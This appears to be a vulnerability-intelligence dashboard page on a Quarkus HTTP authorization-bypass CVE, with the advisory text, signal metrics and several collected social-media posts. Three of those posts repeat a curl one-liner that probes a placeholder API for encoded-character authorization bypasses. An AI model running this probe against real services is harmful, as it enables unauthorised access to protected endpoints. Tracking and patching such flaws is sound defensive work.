CVE-2026-50559Exploit(quarkus / quarkus)

MEDIUMCVSS 7.5 · HIGH

Exploit discussion active in current signal (1 latest mentions)

Immediate actions

Patch quarkus quarkus systems immediately
Hunt for exploitation attempts and persistence artifacts
Increase monitoring for publicly documented tradecraft

Recommended action window: High priority (within 72h)

NVD description

Quarkus is a Java framework for building cloud-native applications. Prior to versions 3.37.0, 3.36.3, 3.33.2.1, 3.33.3, 3.27.4.1, 3.27.5, and 3.20.6.2, Quarkus HTTP path-based authorization policies can be bypassed using encoded semicolons (%3B) to smuggle matrix parameters past the security layer, and using encoded slashes (%2F) or backslashes (%5C) to access protected static resources. This is a distinct issue from CVE-2026-39852, which addressed only literal semicolon stripping. Versions 3.37.0, 3.36.3, 3.33.2.1, 3.33.3, 3.27.4.1, 3.27.5, and 3.20.6.2 contain a patch.

quarkus CVEs Back to dashboard

4.0/ 10 priority

Sources & remediation

Exploit / PoC references

https://github.com/quarkusio/quarkus/security/advisories/GHSA-qcxp-gm7m-4j5v

Other references

Weakness type (CWE)

CWE-287CWE-863CWE-551

Priority

MEDIUM

Exploitation

NONE

PoC

YES

Patch

AVAILABLE

Momentum

STABLE

Are you affected?

If you run products in this scope, you should treat this CVE as relevant to your environment.

quarkus

Threat summary

Public PoC and exploit tooling are both present
Patch or workaround signal is available
6 mentions across 4 observed days
Momentum state: stable

What's happening

Exploit tool or code specified in 3 signals
PoC mentioned or linked in 3 signals
Patch or workaround mentioned in 2 signals
Technical details provided in 4 signals
Disclosure: 1 classified signal
Peaked 3d ago at 2 mentions (2026-06-19); latest day: 1
6 total mentions across 4 days

Affected systems

Vendors

quarkus

Products

quarkus

Deep dive

Activity timeline6 mentions / 4d

Signal classification3 categories

Exploit

350.0%

Patch

233.3%

Disclosure

116.7%

Referenced assets3 URLs

By indicator

Classification over time

Date	Total	Labels

2026-06-19	2	Disclosure1Patch1
2026-06-22	1	Patch1
2026-10-12	2	Exploit2
2026-10-13	1	Exploit1

Full discourse6 posts

Brute@BRuteLogic22d
Exploit
1-Liner Parser Confusion Bypass for b in %3B %23 %3F %00; do for e in .json .js .html; do curl -i "https://API-TARGET/v1/users/1$b$e" 2>/dev/null | head -1 | grep -q 200 && echo "HIT: $b$e"; done; done %3B still lands in 2026 (CVE-2026-50559).
Post summary
The post provides a curl-based demonstration of a parser-confusion bypass associated with CVE-2026-50559. It reports neither active exploitation nor a patch or workaround.
02201831106.0K
67.0K followersView on X
Brute@BRuteLogic21d
Exploit
1-Liner Parser Confusion Bypass for b in %3B %23 %3F %00; do for e in .json .js .html; do curl -si "https://API-TARGET/v1/users/1$b$e" | head -1 | grep -q 200 && echo "HIT: $b$e"; done; done %3B still lands in 2026 (CVE-2026-50559).
Post summary
The text provides a functional curl-based exploit script demonstrating a parser confusion bypass for CVE-2026-50559, using parameter injection characters against API endpoints with various file extensions.
1130103724.5K
67.0K followersView on X
Zeroday Lab@Zerodaylabowner22d
Exploit
1-Liner Parser Confusion Bypass for b in %3B %23 %3F %00; do for e in .json .js .html; do curl -i "https://API-TARGET/v1/users/1$b$e" 2>/dev/null | head -1 | grep -q 200 && echo "HIT: $b$e"; done; done %3B still lands in 2026 (CVE-2026-50559).
Post summary
The post provides executable curl commands demonstrating a parser-confusion bypass associated with CVE-2026-50559. It does not mention active exploitation or remediation.
1302017895
1.1K followersView on X
Munshipremchand@MunshiPremChnd134d
Patch
Excited to share this week’s Java News Roundup! Get the latest on point releases for Spring Tools, Helidon, JobRunr, and Gradle, June 2026 Open Liberty, Apache TomEE 11.0 milestone, Hibernate ORM 8.0 beta, Quarkus emergency fixes for CVE-2026-50559, and … https://ift.tt/9IeRfSu
Post summary
The post lists Java releases and highlights that Quarkus has issued emergency fixes for CVE-2026-50559, indicating a patch is available.
0000048
339 followersView on X
Vulmon Vulnerability Feed@VulmonFeeds136d
Disclosure
CVE-2026-50559 Quarkus versions prior to 3.37.0, 3.36.3, 3.33.2.1, 3.33.3, 3.27.4.1, 3.27.5, and 3.20.6.2 permit attackers to circumvent HTTP path-based authorization policies through two distinct methods https://vulmon.com/vulnerabilitydetails?qid=CVE-2026-50559
Post summary
The advisory notes that certain Quarkus versions allow attackers to bypass HTTP path-based authorization policies, but no PoC, exploit, patch, or evidence of active exploitation is provided.
0000045
4.1K followersView on X
CVE@CVEnew136d
Patch
CVE-2026-50559 Quarkus is a Java framework for building cloud-native applications. Prior to versions 3.37.0, 3.36.3, 3.33.2.1, 3.33.3, 3.27.4.1, 3.27.5, and 3.20.6.2, Quarkus HTTP p… https://www.cve.org/CVERecord?id=CVE-2026-50559
Post summary
CVE‑2026‑50559 lists older Quarkus releases as vulnerable and indicates that newer versions provide a fix.
00000209
57.6K followersView on X

CPE platform detail1 entries

Part:

Vendor:

Product:

Version:

Target SW:

Target HW:

1 of 1 entries

Part	Vendor	Product	Version	Target SW	Target HW
App	quarkus	quarkus	-	-	-

Explore more

Back to dashboard quarkus CVEs quarkus vulnerabilities

What researchers are saying

CVE-2026-50559

Brute[verified]@BRuteLogicExploit

The post provides a curl-based demonstration of a parser-confusion bypass associated with CVE-2026-50559. It reports neither active exploitation nor a patch or workaround.

Brute[verified]@BRuteLogicExploit

The text provides a functional curl-based exploit script demonstrating a parser confusion bypass for CVE-2026-50559, using parameter injection characters against API endpoints with various file extensions.

Zeroday Lab@ZerodaylabownerExploit

The post provides executable curl commands demonstrating a parser-confusion bypass associated with CVE-2026-50559. It does not mention active exploitation or remediation.

Munshipremchand@MunshiPremChndPatch

The post lists Java releases and highlights that Quarkus has issued emergency fixes for CVE-2026-50559, indicating a patch is available.

Vulmon Vulnerability Feed@VulmonFeedsDisclosure

The advisory notes that certain Quarkus versions allow attackers to bypass HTTP path-based authorization policies, but no PoC, exploit, patch, or evidence of active exploitation is provided.

CVE@CVEnewPatch

CVE‑2026‑50559 lists older Quarkus releases as vulnerable and indicates that newer versions provide a fix.